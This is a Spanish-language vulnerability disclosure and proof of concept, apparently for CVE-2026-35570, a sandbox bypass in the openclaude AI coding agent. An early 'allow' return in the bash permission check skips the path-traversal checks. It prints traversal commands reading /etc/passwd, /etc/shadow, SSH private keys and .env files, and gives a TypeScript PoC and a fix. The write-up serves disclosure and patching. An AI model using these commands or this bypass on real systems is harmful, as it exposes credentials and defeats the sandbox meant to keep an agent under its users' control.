rickidevs/cve-2026-35570# Escritura detallada y prueba de concepto para CVE-2026-35570, una evasión de sandbox en openclaude v0.1.7 que permite el path traversal para leer y escribir archivos arbitrarios fuera del sandbox.
CVE-2026-35570 | CVSS 8.4 (Alto) | openclaude v0.1.7
No todas las vulnerabilidades requieren una cadena de explotación sofisticada. A veces una sola sentencia return mal colocada es suficiente para abrir un agujero directo en tu modelo de seguridad. Eso es exactamente lo que es CVE-2026-35570.
Este write-up cubre un bypass del sandbox que encontré en openclaude v0.1.7 — un fallo lógico que permite que los payloads de path traversal pasen directamente a través de la capa de aislamiento del sistema de archivos sin ser verificados jamás.
Estaba revisando bashPermissions.ts cuando algo en el flujo de control me llamó la atención. La lógica de permisos parecía razonable a simple vista — si estamos en un sandbox, auto-permitir el comando; de lo contrario, preguntar al usuario. Bastante limpio.
Pero una pregunta no dejaba de molestarme: ¿dónde ocurre realmente la verificación de restricciones de ruta?
Rastreé bashToolHasPermission() de principio a fin y mapeé la ruta de ejecución:
bashToolHasPermission()
│
├─ [~1445] Bloque de auto-permiso del sandbox
│ └─ No se encontró regla de denegación → devolver ALLOW ⚠️ Salida temprana
│
└─ [~1644] checkPathConstraints() ❌ Nunca se alcanza
El bloque del sandbox fue diseñado para omitir los avisos interactivos de permisos en entornos sandbox. Totalmente razonable. El problema es que cuando devuelve ALLOW, la función sale justo ahí. checkPathConstraints() — lo que realmente es responsable de detectar el path traversal — nunca se ejecuta.
Dentro de bashToolHasPermission(), el bloque de auto-permiso del sandbox sigue esta lógica:
En ese punto, checkPathConstraints() queda completamente omitido. El filtro de path traversal no tiene oportunidad de hacer nada.
Desde la perspectiva de un atacante, eso significa que comandos como estos pasan directamente:
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env
Todos devuelven behavior: allow. Sin aviso. Sin bloqueo. Nada.
Tres cosas se vuelven posibles cuando este fallo está presente:
Lectura arbitraria de archivos. Cualquier cosa fuera del límite del sandbox es un objetivo válido — /etc/passwd, /etc/shadow, claves privadas SSH, archivos .env. Mientras los permisos a nivel de sistema operativo lo permitan, el archivo puede ser leído.
Escritura arbitraria de archivos. La misma lógica se aplica en sentido inverso. Un atacante puede escribir en rutas fuera del sandbox, lo que abre la puerta a sobrescribir archivos de configuración o colocar contenido en ubicaciones inesperadas.
Fallo total del aislamiento del sandbox. Todo el propósito del sandbox es hacer cumplir los límites del sistema de archivos. Con este bug presente, esa garantía no significa nada.
CVSS v3.1: 8.4 (Alto) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
La corrección es conceptualmente sencilla. El bloque de auto-permiso del sandbox debería suprimir los avisos interactivos — eso es todo. Nunca debería cortocircuitar el pipeline completo de permisos.
if (
SandboxManager.isSandboxingEnabled() &&
SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
shouldUseSandbox(input)
) {
const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);
if (sandboxResult.behavior !== 'allow') {
// Solo salir temprano para deny o ask — nunca omitir las verificaciones de ruta en allow
return sandboxResult;
}
// Si es allow, continuar hasta checkPathConstraints más abajo
}
// La verificación de path traversal debe ejecutarse siempre
return checkPathConstraints(input, appState.toolPermissionContext);
La regla general aquí: el auto-permiso del sandbox omite el aviso, no las verificaciones de seguridad.
| Campo | Detalle |
|---|---|
| Paquete | openclaude |
| Versión afectada | v0.1.7 |
| Versión parcheada | Ninguna |
| CVE | CVE-2026-35570 |
| CVSS | 8.4 (Alto) |
openclaude v0.1.7git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install
Lanza openclaude con las banderas de sandbox y auto-permiso configuradas:
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude
Los nombres de las variables pueden diferir ligeramente. Revisa la clase
SandboxManagerpara confirmar las asignaciones exactas de variables de entorno para tu compilación.
Guarda lo siguiente como poc.ts en la raíz del proyecto:
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';
// Configurar las condiciones del sandbox
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);
// Payload con path traversal
const maliciousInput = {
command: 'cat ../../../../../etc/passwd'
};
const fakeAppState = {
toolPermissionContext: {
allowedPaths: ['/tmp/sandbox'],
deniedPaths: []
}
};
const result = bashToolHasPermission(maliciousInput, fakeAppState);
console.log('Resultado:', result.behavior);
// Esperado: "deny" — el path traversal debería estar bloqueado
// Real: "allow" ← vulnerabilidad confirmada
Luego ejecútalo:
npx ts-node poc.ts
Verás:
Resultado: allow
checkPathConstraints() nunca fue llamado. Para confirmarlo tú mismo, añade una línea de log en bashPermissions.ts:
// Alrededor de la línea 1644
function checkPathConstraints(input, context) {
console.log('checkPathConstraints fue llamado'); // Esto nunca se imprimirá
// ...
}
Ejecuta el script de nuevo. El log no aparecerá — la función está siendo genuinamente omitida.
Abre openclaude en una sesión de sandbox y envía el siguiente comando:
cat ../../../../../etc/passwd
Se ejecuta sin ningún aviso o bloqueo de permisos, y vuelca el contenido de /etc/passwd directamente.
CVE-2026-35570